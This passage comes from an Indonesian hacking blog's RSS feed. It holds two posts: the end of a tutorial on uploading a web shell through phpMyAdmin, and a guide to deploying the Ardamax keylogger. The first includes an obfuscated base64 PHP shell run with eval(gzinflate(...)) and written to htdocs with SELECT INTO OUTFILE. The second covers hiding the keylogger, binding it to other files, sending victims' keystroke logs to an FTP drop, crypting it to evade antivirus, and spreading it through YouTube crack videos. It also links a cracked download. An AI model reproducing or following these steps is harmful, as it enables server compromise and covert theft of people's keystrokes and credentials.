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";

@eval(gzinflate(base64_decode($code)));
?&gt;
'); 

SELECT * INTO OUTFILE 'C:/xampp/htdocs/shell.php' from temptab; 

DROP TABLE temptab; 

FLUSH LOGS;
&lt;/pre&gt;&lt;br /&gt;
&lt;img alt="" class="alignleft" height="244" src="http://lh6.ggpht.com/_29ZRNl4CE-E/TTZBPw94wgI/AAAAAAAAAGs/zJi1tL-q_bw/75891904.jpg" title="Ardamax" width="300" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Terus Kalian Harus Memperhatikan Script Dibawah ini ;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;SELECT * INTO OUTFILE 'C:/xampp/htdocs/shell.php' from temptab;&lt;/pre&gt;&lt;br /&gt;
Nah Disitulah Script kita berada,dimana shell kita tersimpan didalamnya.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="244" src="http://lh4.ggpht.com/_29ZRNl4CE-E/TTZBQGKd6JI/AAAAAAAAAGw/F3iuPRi1Y64/69759802.jpg" title="Ardamax" width="300" /&gt;&lt;br /&gt;
&lt;br /&gt;
Kalau Sudah semuanya selesai silahkan Panggil File / Shell kalian yang sudah ter upload tadi lewat phpMyAdmin.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="244" src="http://lh4.ggpht.com/_29ZRNl4CE-E/TTZBQdUYcOI/AAAAAAAAAG0/PYr8F9lKqz4/98660850.jpg" title="Ardamax" width="300" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nah Sekian Dulu Dari saya , Nanti kita lanjutkan untuk Tutor yang lainnya lagi :D</description><link>http://black-mygo.blogspot.com/2011/01/tutorial-uploading-shell-via-phpmyadmin.html</link><author>noreply@blogger.com (Blackmygo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://3.bp.blogspot.com/_29ZRNl4CE-E/TTY9WMNEtyI/AAAAAAAAAGo/Mc-MfGPwDw4/s72-c/phpMyAdmin-Image.jpg" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-5072537353734235185</guid><pubDate>Wed, 12 Jan 2011 11:38:00 +0000</pubDate><atom:updated>2011-01-12T03:39:12.246-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Hacking Tutorial</category><title>Ardamax Keylogger V3.0 Complete Download + Tutorial + Guide</title><description>Kali ini saya akan Membahas tentang keylogger dan ada sedikit tips and trick serta cara menginstalnya agar tidak terdeteksi.&lt;br /&gt;
Pertama-tama Download Ardamax Keylogger dan Install. Untuk Ardamax Keylogger V3.0 dapat Kalian Dowload Dibawah ok.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Setting UP Keylogger&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Setelah Selesai Di install kalian akan melihat Icon kecil di taskbar anda sebelah kanan bawah seperti gambar ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="30" src="http://lh6.ggpht.com/_0NJqYEh59lw/TS1NM9GFq4I/AAAAAAAAACQ/QuFYH1B9E9Y/step1111.jpg" title="Ardamax" width="201" /&gt;&lt;br /&gt;
&lt;br /&gt;
Kalian Klik Kanan Pada Icon Ardamax tsb dan masukkan Registration key.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="284" src="http://lh5.ggpht.com/_0NJqYEh59lw/TS1M0pJ5Y2I/AAAAAAAAABo/dXIoI9XiVRw/step210.jpg" title="Ardamax" width="182" /&gt;&lt;br /&gt;
&lt;br /&gt;
Copy/Paste Registration name dan Registration key from Serial&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="239" src="http://lh4.ggpht.com/_0NJqYEh59lw/TS1M04FzmHI/AAAAAAAAABs/dN0hwDMZFvc/step310.jpg" title="Ardamax" width="345" /&gt;&lt;br /&gt;
&lt;br /&gt;
Habis Kalian Tekan OK maka akan Muncul Top-up Yang menyatakan Kalian telah Sukses Registrasi.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="237" src="http://lh3.ggpht.com/_0NJqYEh59lw/TS1M1DvpX5I/AAAAAAAAABw/6BDQupCntvU/step410.jpg" title="Ardamax" width="386" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Creating the Keylogger Engine:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Sekarang kalian akan membuat engine keylogger ( mulai berfikir untuk mencari korban :P )ok kita click remote installation.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="282" src="http://lh4.ggpht.com/_0NJqYEh59lw/TS1M1KsWutI/AAAAAAAAAB0/mo4ibHF1IYc/step514.jpg" title="Ardamax" width="189" /&gt;&lt;br /&gt;
&lt;br /&gt;
Press Next...&lt;br /&gt;
&lt;br /&gt;
Maka Kalian akan melihat seperti ini &lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh3.ggpht.com/_0NJqYEh59lw/TS1M1XQYzvI/AAAAAAAAAB4/rK0_FRuaa78/step613.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Jika Kalian ingin menggabungkan Keylogger engine dengan aplikasi yang lain atau file maka click kotak yang bertuliskan '&lt;i&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Append keylogger engine to file or another applitacion&lt;/span&gt;&lt;/i&gt;' lalu browse file yang ingin kalian gabungkan.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh3.ggpht.com/_0NJqYEh59lw/TS1NA2t-rZI/AAAAAAAAAB8/QRcfye8uyH0/step710.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Sekarang kalian Click &lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Additional components&lt;/span&gt;&lt;/b&gt; dan pilih &lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Installation Package Bilder&lt;/span&gt;&lt;/b&gt; , seperti screen shoot dibawah ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh4.ggpht.com/_0NJqYEh59lw/TS1NBA4SdxI/AAAAAAAAACA/TlW02xlf48Q/step810.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Sekarang kalian Harus menyeting Ardamax Keylogger menjadi Invisibility , pastikan semua box benar" kalian centang , lalu click next.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh3.ggpht.com/_0NJqYEh59lw/TS1NBNRRwRI/AAAAAAAAACE/NNqeHA3t9ek/step918.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Nah Setelah itu kalian akan masuk kedalam Security box centang enable lalu masukkin deh password kalian , saran saya sih password yang mudah kalian ingat. Setelah selesai kita click next untuk melanjutkannya kembali.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh3.ggpht.com/_0NJqYEh59lw/TS1NBKoFT5I/AAAAAAAAACI/RNfhIWJNITs/step1010.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh6.ggpht.com/_0NJqYEh59lw/TS1NBSqXzGI/AAAAAAAAACM/RC23ptszSiY/step1110.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Nah Sekarang Kalian Harus Memeriksa Update-an Ardamax keylogger kalian.Click Update and next.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh3.ggpht.com/_0NJqYEh59lw/TS1NM_AqP2I/AAAAAAAAACU/Vc2kvFG8dm0/step1210.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Ok Sekarang Kalian Pasti akan di kotak Option Silahkan kalian ikuti Setting seperti di Screenshoot dibawah ini atau kalian bisa setting sesuka kalian untuk Hot keys nya.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh3.ggpht.com/_0NJqYEh59lw/TS1NNAyBvKI/AAAAAAAAACY/95M6cQpj4xw/step1310.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Btw Kalian Bisa juga kok membuat Kapan Ardamax Keylogger kalian terhapus dengan sendirinya atau Self Destruction kapan saja kalian mau.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh4.ggpht.com/_0NJqYEh59lw/TS1NNHKCTBI/AAAAAAAAACc/KdNeC4jyIsY/step1410.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Ok sekarang Kalian Akan di Kotak Control. Centang kotak yang bertuliskan &lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Send logs every&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Sekarang Kalian Buat send Log File setiap 20 menit sekali, setelah itu silahkan kalian pilih Delivery Methodnya Ganti dari E-mail Ke FTP Delivery Method.Setelah itu di bagian Include hapus centrangan &lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Screenshots&lt;/span&gt;&lt;/b&gt; dan &lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Send only if log size exceeds &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Setelah itu semua selesai Maka kalian akan melihat seperti Screenshots dibawah ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh4.ggpht.com/_0NJqYEh59lw/TS1NNMiKHxI/AAAAAAAAACg/LBbm4k_0CRI/step1510.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Nah Sekarang Kalian Harus Mempunyai FTP &lt;a href="http://www.drivehq.com/secure/signup.aspx?refID=23113377"&gt;Silahkan Kalian Daftar di DriveHQ.com, FREE online file storage, online sharing, online backup, FTP hosting, SMTP / POP3 email hosting services.,&lt;/a&gt;Selanjutnya kalian Masuk ke dalam &lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Online Storage&lt;/span&gt;&lt;/b&gt;, lalu buat Folder baru yang ber nama Log ( Disini nanti Data Log dari hasil keylogging kalian akan dikirimkan.&lt;br /&gt;
Nah Sekarang kembali lagi ke Ardamax Keylogger , Didalam Dalam Kotak FTP host Kalian masukkan ini :&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;FTP.DriveHQ.com&lt;/pre&gt;&lt;br /&gt;
Nah Sekarang Di Kotak yang bertuliskan &lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Remote Folder&lt;/span&gt;&lt;/b&gt;Kalian Masukkan " &lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Logs&lt;/span&gt;&lt;/b&gt; "&lt;br /&gt;
&lt;br /&gt;
Nah Sekarang dibagian Username dan Password Kalian Masukkan Username dan Password dari DriveHQ , yang akan terlihat seperti dibawah ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh5.ggpht.com/_0NJqYEh59lw/TS1Nay0kMsI/AAAAAAAAACk/ykhI4rhJVLA/step1610.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Lalu Silahkan Kalian Click Test , Maka Akan muncul Pop up Seperti dibawah ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh3.ggpht.com/_0NJqYEh59lw/TS1Na7PaOqI/AAAAAAAAACo/NbT8q_WaHlQ/step1710.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Setelah berhasil , Jangan Sekali" kalian Merubah DriveHQ Password atau username kalian atau menghapus &lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Folder Logs&amp;nbsp;&lt;/span&gt;&lt;/b&gt;Jika kalian lakukan maka kalian tidak akan mendapatkan logs dari hasil Keylogging kalian.&lt;br /&gt;
&lt;br /&gt;
Setelah kalian click ok kalian akan masuk ke kotak control lagi, kalian harus menghapus centrangan pada kotak yang bertuliskan &lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Enable Screenshots Capturing&lt;/span&gt;&lt;/b&gt;Lalu kalian Click Next.&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh3.ggpht.com/_0NJqYEh59lw/TS1NaxG2Q0I/AAAAAAAAACs/wZq7qRhHdMs/step1810.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Nah Setelah itu semua Selesai Kalian dapat merubah nama dan Icon dari Ardamax Keylogger sesuka kalian, seperti gambar dibawah ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh5.ggpht.com/_0NJqYEh59lw/TS1Na-zYZFI/AAAAAAAAACw/etGQ5y_cqJs/step1910.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh4.ggpht.com/_0NJqYEh59lw/TS1NbAtysiI/AAAAAAAAAC0/5OW7OYyX_B0/step2010.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Setelah kalian selesai me rename dan mengganti Incon kalian Click next.&lt;br /&gt;
Maka Kalian Akan melihat Seperti ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh5.ggpht.com/_0NJqYEh59lw/TS1NoeEOYTI/AAAAAAAAAC4/2R9VjOlllxU/step2110.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Silahkan Kalian Click Finish&lt;br /&gt;
&lt;br /&gt;
Setelah kalian Click Finish kalian akan melihat seperti digambar di bawah ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" class="alignleft" height="388" src="http://lh5.ggpht.com/_0NJqYEh59lw/TS1NoRLGO7I/AAAAAAAAAC8/2u887EF12IM/step2210.jpg" title="Ardamax" width="449" /&gt;&lt;br /&gt;
&lt;br /&gt;
Nah Sekarang Keylogger Engine Telah kalian buat. :D&lt;br /&gt;
&lt;br /&gt;
Nah Sekarang Keylogger yang telah kalian buat akan terdeteksi Virus oleh Anti-Virus jadi kalian harus menggabungkan dengan file yang lain lalu kalian encrypt menggunakan crypter.&lt;br /&gt;
Ini berarti kalian membuat keylogger kalian makin tidak terdeteksi atau &lt;b&gt;Fully UnDetecable&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Ardamax.Keylogger V 3.0&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;a href="http://www.ziddu.com/download/13360857/Ardamax.keylogger.v3.0-HT.rar.html" target="_blank"&gt;&lt;img alt="Click Here" src=" http://lh4.ggpht.com/_0NJqYEh59lw/TS1reef9jZI/AAAAAAAAADE/kr_YRXa4ih8/th_i_icon_mini_portal22-1.png" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nah Sekarang Sekarang saya akan memberitahukan sedikit cara penyebarannya.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Spreading&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Ok ada banyak cara dalam menyebarkan keylogger.&lt;br /&gt;
&lt;br /&gt;
1. &lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Youtube&lt;/span&gt;&lt;/b&gt;Disini banyak sekali Orang Membuat Video Mengenai crack atau apa saja. nah disini lah kesempatan kita untuk menyebarkan Keylogger kita untuk lebih lanjutnya silahkan anda Berkreasi sendiri Sesuai Imajinasi anda.&lt;br /&gt;
atau kalian juga bisa masuk ke YouTube - Broadcast Yourself. dan carilah Video yang paling banyak di lihat orang mengenai crack atau apa saja yang memungkinkan orang untuk mencari link buat Men downloadnya.&lt;br /&gt;
&lt;br /&gt;
